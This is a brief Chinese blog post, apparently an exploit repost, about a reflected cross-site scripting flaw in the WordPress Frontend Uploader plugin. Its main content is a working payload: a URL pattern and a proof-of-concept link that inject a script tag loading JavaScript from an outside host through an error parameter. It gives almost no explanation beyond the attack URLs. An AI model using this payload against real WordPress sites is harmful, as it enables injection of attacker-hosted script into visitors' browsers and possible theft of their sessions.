Wordpress Frontend Uploader插件反射型xss

时间：2014-12-29    作者：admin    分类： 技术交流

Software Link: https://wordpress.org/plugins/frontend-uploader/


Exploit :



http://TARGET/[forntEndUploaderPage]=59&errors[fu-disallowed-mime-type][0][name]=XSS



Example(p0c):

http://EXAMPLE/wordpress/?page_id=59&&errors[fu-disallowed-mime-type][0][name]=%3CSCRIPT%20SRC=https://nmap.cc/xss.js?%3C%20B%20%3E

标签: wordpress xss

感谢9年的陪伴，江湖再见！！！

标签

热门文章

链接